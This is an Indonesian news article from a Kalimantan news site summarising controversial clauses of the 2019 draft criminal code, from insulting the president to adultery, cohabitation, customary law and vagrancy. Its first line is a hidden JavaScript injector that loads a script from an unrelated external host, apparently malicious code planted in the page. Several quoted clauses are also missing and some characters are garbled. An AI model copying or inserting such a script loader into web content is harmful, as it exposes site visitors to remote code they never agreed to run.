(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
JAKARTA, 4 hari lagi Indonesia memiliki KUHP karya anak bangsa, menggantikan KUHP penjajah Belanda. Namun, penolakan oleh sekelompok orang terus dilakukan jelang pengesahan. Apa saja pasal-pasal kontroversial itu?
“Oleh karena itu, suara-suara yang ingin menolak pengesahan RUUHP lantaran beberapa pasal yang kontroversial berarti ingin mempertahankan status quo warisan kolonial dengan segala ketidakpastian hukum yang diakibatkannya,” kata Guru besar hukum pidana UGM, Prof Eddy OS Hiariej.
Berikut sebagian pasal-pasal yang dinilai kontroversial dari draf RUU KUHP versi 15 September 2019, Jumat (20/9):
Pasal 218 ayat 1 berbunyi:
Setiap orang yang di muka umum menyerang kehormatan atau harkat dan martabat diri Presiden atau Wakil Presiden dipidana dengan pidana penjara paling lama 3 tahun 6 bulan atau pidana denda paling banyak Kategori IV.
Dalam penjelasannya ditegaskan, bila kritikan tidak termasuk penghinaan dan tidak dipidana.
“Ketentuan ini tidak dimaksudkan untuk meniadakan atau mengurangi kebebasan mengajukan kritik ataupun pendapat yang berbeda atas kebijakan pemerintah,” demikian bunyi penjelasan.
Yang dimaksud dengan ‘menyerang kehormatan atau harkat dan martabat diri’ pada dasarnya merupakan penghinaan yang menyerang nama baik atau harga diri Presiden atau Wakil Presiden di muka umum, termasuk menista dengan surat, memfitnah, dan menghina dengan tujuan memfitnah.
“Penghinaan pada hakikatnya merupakan perbuatan yang sangat tercela (dilihat dari berbagai aspek: moral, agama, nilai-nilai kemasyarakatan dan nilai-nilai HAM/kemanusiaan), karena ‘menyerang/merendahkan martabat kemanusiaan’ (menyerang nilai universal). Oleh karena itu, secara teoretik dipandang sebagai rechtsdelict, intrinsically wrong, mala perse dan oleh karena itu pula dilarang (dikriminalisasi) di berbagai negara,” ujarnya.
Prinsipnya, semua bentuk aborsi adalah bentuk pidana dan pelaku yang terlibat dipenjara. Namun RUU KUHP memberikan pengecualian bagi korban perkosaan, termasuk tenaga medisnya tidak dipidana.
Selain itu, Pasal Aborsi juga tidak menghapus UU Kesehatan soal aborsi. Pasal 75 UU Kesehatan selengkapnya berbunyi:
ÂÂ
RUU KUHP meluaskan makna zina. Pasal 417 ayat 1 berbunyi:
Setiap Orang yang melakukan persetubuhan dengan orang yang bukan suami atau istrinya dipidana karena perzinaan dengan pidana penjara paling lama 1 (satu) tahun atau denda Kategori II.
Nah, siapakah yang dimaksud ‘bukan suami atau istrinya’? Dalam penjelasan disebutkan:
Pasal Pencabulan diluaskan maknanya. Dalam draf itu bisa dikenakan kepada pencabulan sesama jenis, sepanjang dilakukan di depan umum.
Berikut bunyi lengkap Pasal 421:
“Yang dimaksud dengan ‘perbuatan cabul’ adalah segala perbuatan yang melanggar norma kesusilaan, kesopanan, atau perbuatan lain yang tidak senonoh, dan selalu berkaitan dengan nafsu birahi atau seksualitas,” demikian penjelasan Pasal 421.
ÂÂ
Pasal 340 RKUHP:
Dipidana dengan pidana penjara paling lama 6 (enam) bulan atau pidana denda paling banyak Kategori II (denda maksimal Rp 10 juta-red), setiap orang yang tidak mencegah hewan yang ada dalam penjagaannya yang menyerang orang atau hewan.
Selain hal di atas, pemilik hewan juga akan dikenai 6 bulan penjara, apabila:
Pelaku kumpul kebo dipidana dengan pidana penjara paling lama 6 (enam) bulan atau pidana denda paling banyak Kategori II (maksimal Rp 10 juta).
“Tidak mungkin ya yang namanya UU atau DPR itu alat pemuas yang bisa memuaskan semua pihak. Kan nggak bisa. Pandangannya sudah beda,” kata anggota Panja DPR Arsul Sani.
ÂÂ
Untuk lebih memenuhi rasa keadilan yang hidup di dalam masyarakat, RUU KUHP mengakui adanya hukum adat. Sebab dalam kenyataannya di beberapa daerah di tanah air, masih terdapat ketentuan hukum yang tidak tertulis, yang hidup dan diakui sebagai hukum di daerah yang bersangkutan, yang menentukan bahwa pelanggaran atas hukum itu patut dipidana.
Dalam hal ini hakim dapat menetapkan sanksi berupa ‘pemenuhan kewajiban adat’ setempat yang harus dilaksanakan oleh pelaku tindak pidana. Hal tersebut mengandung arti bahwa standar nilai dan norma yang hidup dalam masyarakat setempat masih tetap dilindungi agar memenuhi rasa keadilan yang hidup di dalam masyarakat tertentu. Keadaan seperti itu tidak akan menggoyahkan dan tetap menjamin pelaksanaan asas legalitas serta larangan analogi yang dianut dalam Undang-Undang ini.
RUU KUHP mengancam penggelandangan didenda maksimal Rp 1 juta. Selidik punya selidik, ancaman itu juga sudah berlaku di berbagai daerah, Jakarta salah satunya. Di ibu kota, penggelandangan maksimal didenda Rp 20 juta. Adapun di Pekanbaru, maksimal didenda Rp 50 juta.
(asp/haf/dtc)
KANALKALIMANTAN.COM, BANJARMASIN — Wali Kota Banjarmasin H Muhammad Yamin HR menegaskan akan menindak pemilik Ruko… Read More
KANALKALIMANTAN.COM, JAKARTA — Ketua DPRD Kalimantan Selatan (Kalsel), H Supian HK menyampaikan tuntutan mahasiswa dari… Read More
KANALKALIMANTAN.COM, BANJARMASIN — Sebanyak 275 Aparatur Sipil Negara (ASN) di lingkungan Pemerintah Kota (Pemko) Banjarmasin… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Balai Wilayah Sungai (BWS) Kalimantan III menyatakan kesiapan mempercepat pembangunan Bendungan Riam… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Bupati Kapuas H Muhammad Wiyatno melakukan kunjungan kerja sekaligus audiensi dengan… Read More
KANALKALIMANTAN.COM, BANJARMASIN — Masyarakat di Kota Banjarmasin sangat terpukul dengan kebijakan penonaktifan massal kepesertaan BPJS… Read More
This website uses cookies.